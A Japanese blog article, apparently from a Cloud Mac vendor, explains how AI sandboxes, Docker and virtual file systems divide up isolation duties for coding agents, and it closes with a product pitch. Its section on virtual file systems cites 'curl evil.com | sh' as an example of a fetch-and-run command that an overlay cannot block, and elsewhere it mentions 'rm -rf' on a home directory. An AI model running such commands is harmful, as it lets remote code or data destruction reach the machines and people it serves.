チーム向けの Coding Agent パイプラインを構築するとき、AI Sandbox、Docker、仮想ファイルシステム（VFS）の三語が入り混じって聞こえます。製品ドキュメントは「Agent はサンドボックスでコマンド実行」、運用担当は「Docker で隔離すればいい」、IDE は「仮想ワークスペース有効」と言う——いずれも AI 生成コードがマシンを壊さないようにする話ですが、隔離対象・ライフサイクル・運用コストはまったく異なります。
2026 年の典型的な失敗：単発 Agent タスクのために Docker イメージを起動し、コールドスタートに 30 秒かかり、トークン課金を計算する前にコンテナがタイムアウト。あるいは隔離なしで Agent に rm -rf をホームディレクトリで実行させる。本記事は Kvmjet 読者——iOS、Flutter、AI アプリ開発者——向けに、各レイヤーが何を解決するか、いつ何を重ねるかの決定表、Cloud Mac / Apple Silicon での組み合わせまでを整理します。
結論：三者は代替ではなく、実行層・ランタイム層・ファイルビュー層の分担です。AI Sandbox は短命で不可信なコードの実行、Docker は環境の再現、仮想ファイルシステムは Agent のワークスペースビューとホスト汚染防止を担います。
1. 三概念が混同される理由
根本原因は三者がすべて「隔離」要件チェーンに現れることですが、抽象度が異なります。「Agent コードを安全に実行」と言うとき、実際には少なくとも三つの問いがあります：
- プロセスはどこで動くか——独立した CPU/メモリ境界か、IDE と同一プロセスか？
- 環境はどこから来るか——Node 18 か 22 か？システムライブラリは CI と一致するか？
- ファイル書き込みはどこに行くか——実リポジトリか、捨てられる「幻影ディレクトリ」か？
AI Sandbox は主に第一問に答え、コードが不可信で短命であることを前提とします。Docker は第二問に答え、再現可能でバージョン管理された環境を想定します。仮想ファイルシステム（Agent 文脈）は第三問に答え、常にフルコンテナを起動せずロールバック可能なファイルビューが必要な場合を想定します。
多くのスタックは二層以上を重ねます：Cursor の Background Agent はリモート microVM（Sandbox 層）で動き、リポジトリの git worktree スナップショット（VFS 層）をマウントし、Swift/Flutter ツールチェーン入りイメージ（Docker/イメージ層）を使うことがあります。レイヤーを分ければ「全部 Docker か完全無隔離」という二元論を避けられます。
2. AI Sandbox：Agent 向け短命実行環境
AI Sandbox（Code Sandbox、Agent Runtime とも）は 2024–2026 年に Coding Agent とともに登場したカテゴリです。代表例は E2B、Modal Sandboxes、Daytona、各 IDE のリモート実行環境。共通点：
- 秒級起動：「Agent ターンごとに新環境」向け。従来 CI の数分イメージプルではない。
- 自動破棄：タスク終了またはタイムアウト後にリソース回収。サイドチャネルとデータ残留を削減。
- ポリシー駆動ネットワーク：デフォルトで外向き拒否または allowlist。LLM 生成コードの漏洩を防止。
- API ファースト：SDK で作成/実行/ファイル読取。手動
docker runではなく Agent ループ向け。
内部実装は gVisor、Firecracker microVM、軽量コンテナ、WASM ランタイムなど多様です。重要なのはSLA が Agent ターン頻度に合うか。10 秒ごとに新環境が必要なら、従来の Docker コールドスタート＋イメージプルはボトルネックです。
典型ユースケース：自動 Issue 修正 bot、不可信ユニットテストのバッチ実行、オンラインジャッジ、マルチテナント SaaS のユーザースクリプト——信頼境界が LLM 出力で、単一コマンドが悪意ある可能性がある場面です。
2.1 AI Sandbox の限界
Sandbox はフル開発環境の代替にはなりません：Xcode ビルド、iOS Simulator、GUI デバッグは実 macOS ホストが必要です。「この Podfile.lock を本番 CI とバイト単位で一致させる」表現も苦手——Docker イメージ層の得意分野です。主流パターン：不可信フラグメントは Sandbox、信頼できるビルドは Docker/ベアメタル。
3. Docker：再現可能な環境パッケージング
Dockerは Linux namespaces、cgroups、レイヤーイメージ（OCI 標準）に基づく汎用コンテナプラットフォームです。「自分のマシンで動く」を「どこでも動く」にする問題を解決します。Agent ワークフローでの価値：
- 依存関係の固定：
Dockerfileで Node、Python、システムライブラリのバージョンを固定。Agent のコード変更で環境が意図せずアップグレードされない。 - CI/CD との一致：ローカル
docker compose upと GitHub Actions が同一イメージ。CI 緑・ローカル赤を削減。 - 長期稼働：コンテナは数日稼働、ボリューム接続、Kubernetes 参加——Agent Gateway サービス向き。単発スクリプト向きではない。
Kvmjet 読者にとって、Cloud Mac 上の Docker は Linux 専用バックエンド、OpenClaw Gateway、ベクター DB、自ホスト Plane/Jira 代替などに使われ、常駐 Cloud Mac 開発環境で Xcode と並列稼働することが多いです。
3.1 Docker を直接 Agent サンドボックスに使う落とし穴
docker run を Agent 実行層にすると：
- 起動が遅い：大きなイメージ、プル、マウントで秒級 SLA が難しい。
- 権限とマウントが複雑：Agent はリポジトリ読み書き、ソケット、時には GPU が必要——各 capability に
--mount/--cap-addが必要。 - 手動ライフサイクル：Agent クラッシュ後にコンテナが残る。外部オーケストレーションでクリーンアップが必要。
Docker は LLM が docker run フラグを組み立てるより、AI Sandbox やオーケストレーター内部で参照される信頼側の環境テンプレートとして適しています。
4. 仮想ファイルシステム：Agent のワークスペースビュー
Agent 製品では「仮想ファイルシステム」は通常：Agent パスの背後に indirection がある。ホストレイアウトは Agent に透明または読み取り専用。一般的パターン：
- Overlay / CoW：読み取り専用ベースイメージまたは git checkout に書き込み可能な upper 層。overlay を捨てればロールバック。Docker union FS や Sandbox の ephemeral layer。
- git worktree / sparse checkout：Agent は独立 worktree で編集。メインブランチに触れない——多くの IDE Agent のデフォルト。コンテナオーバーヘッドほぼゼロ。
- FUSE / リモートマウント：ファイルは S3、NFS、ビルドマシン上。ローカルは POSIX インターフェースのみ。大規模 monorepo やコンプライアンス向け。
- IDE 仮想ドキュメント：未保存バッファ、diff プレビュー層——エディタセッションに紐づく VFS。
VFS 単体ではプロセスを隔離しない：Agent が curl evil.com | sh を実行すれば、overlay はネットワーク呼び出しを止められません。「リポジトリを壊さない」問題は解決するが「カーネルに触れない」問題は解決しない。だから VFS は Sandbox や Docker と重ねることが多いです。
オーバーレイマウントの仕組み理解にはKernel VFS ドキュメントが役立ちますが、Agent ツール選定では「workspace」「snapshot」「rollback」を謳う製品ドキュメントに注目してください。
5. 比較と組み合わせ戦略
| 観点 | AI Sandbox | Docker | 仮想ファイルシステム（Agent 層） |
|---|---|---|---|
| 主目的 | 不可信コードの安全実行 | 環境の再現と配信 | ロールバック可能なファイルビュー |
| 典型ライフタイム | 秒〜分、自動破棄 | 分〜月、手動または K8s | セッション/タスク単位、即座に層破棄 |
| 起動コスト | 非常に低い（Agent 最適化） | 中〜高（イメージサイズ依存） | 非常に低い（特に worktree） |
| プロセス隔離 | 強い（microVM 含むことが多い） | 強い（namespace） | なし（ファイル層のみ） |
| ネットワークポリシー | 組み込み allowlist/deny | 自己設定 | 該当なし |
| 最適な用途 | プラットフォーム、マルチテナント Agent SaaS | DevOps、自ホストサービス | 日常 IDE Agent、ローカル編集 |
組み合わせパターン（2026 年の実践）：
- ローカル Cursor / Copilot 編集：VFS（worktree）主体。テスト前に Docker Compose で CI 整合（任意）。
- Background Agent 自動 PR：リモート AI Sandbox 実行 + リポジトリスナップショット VFS + ツールチェーンイメージ（Docker ビルド）。
- 自ホスト Agent Gateway：Docker/K8s で Gateway とメモリストア。tool call ごとに Sandbox マイクロインスタンス。
Cursor Pro Background Agent の料金を検討しているなら、課金はしばしば「Sandbox 実行分 + モデルトークン」——Sandbox 層を理解すると月額サブスク以外のコスト予測に役立ちます。
- git を壊す心配だけ → VFS / worktree から。
- CI と同じ Linux 環境が必要 → Docker を追加。
- 不可信またはユーザー提出コードを実行 → AI Sandbox（または同等 microVM）必須。
6. Cloud Mac へのデプロイ
Apple Silicon Cloud Mac はハイブリッドスタックの理想ノード：ネイティブ Xcode/Flutter + Docker Desktop + リモート Agent。推奨フェーズ：
- Phase 1：git worktree で Agent に独立ブランチビュー。未レビューの
git pushをブロック。 - Phase 2：Docker Compose でバックエンドと OpenClaw Gateway を固定。Agent Memory プラグインと同機デプロイ。
- Phase 3：不可信スクリプトを自動実行するワークフローは E2B 等の Sandbox API、または Linux サイドカー。ベア macOS で未知の shell は実行しない。
M4 ユニファイドメモリは「Docker + IDE + Simulator」の同時実行を多くの x86 VPS よりスムーズにしますが、Agent ターンが非常に密なら、ローカルで無限にコンテナを起動するより Sandbox を専用サービスにオフロードすべきです。
7. FAQ
AI Sandbox と Docker は同じ？
いいえ。Docker は汎用コンテナランタイム。AI Sandbox は API、秒級ライフサイクル、不可信コードポリシーを重視する Agent 向け製品抽象。実装が Docker を使うことはあっても、メンタルモデルは異なります。
Agent における仮想ファイルシステムとは？
Agent が見る書き込み可能ワークスペースの背後にある overlay、worktree、FUSE、リモートマウント——ファイルロールバックと汚染防止。プロセス隔離の代替ではありません。
Cloud Mac では何を選ぶ？
日常開発は VFS + 任意で Docker。不可信実行は Sandbox API。ベア macOS shell で LLM 生成のシステムレベルコマンドを実行しないこと。
8. まとめ
AI Sandboxは実行と信頼境界、Dockerは環境再現、仮想ファイルシステムはワークスペースビューとロールバック——三者を重ねて初めて完全な Agent インフラです。最も恐れることを問う：コード破損、環境ドリフト、悪意ある実行？それぞれ異なるレイヤーに対応し、銀の弾丸はありません。
Cloud Mac でレイヤー化 Agent 実行スタックを構築
Xcode と Simulator はネイティブ macOS が必要。バックエンド Gateway とメモリストアは Docker。不可信スクリプトは AI Sandbox にオフロード——M4 Cloud Macは前两層を一台で担い、第三層を API で専用 Sandbox サービスに接続します。ユニファイドメモリ、低待機電力、ARM ネイティブツールチェーンで「開発 + Agent オーケストレーション」を三台の VPS に分けなくて済みます。
Coding Agent インフラを計画しているなら、Kvmjet M4 Cloud Macは費用対効果の高いハイブリッド起点：ローカル VFS 編集、CI 整合 Docker、不可信タスクはリモート Sandbox——三層が明確です。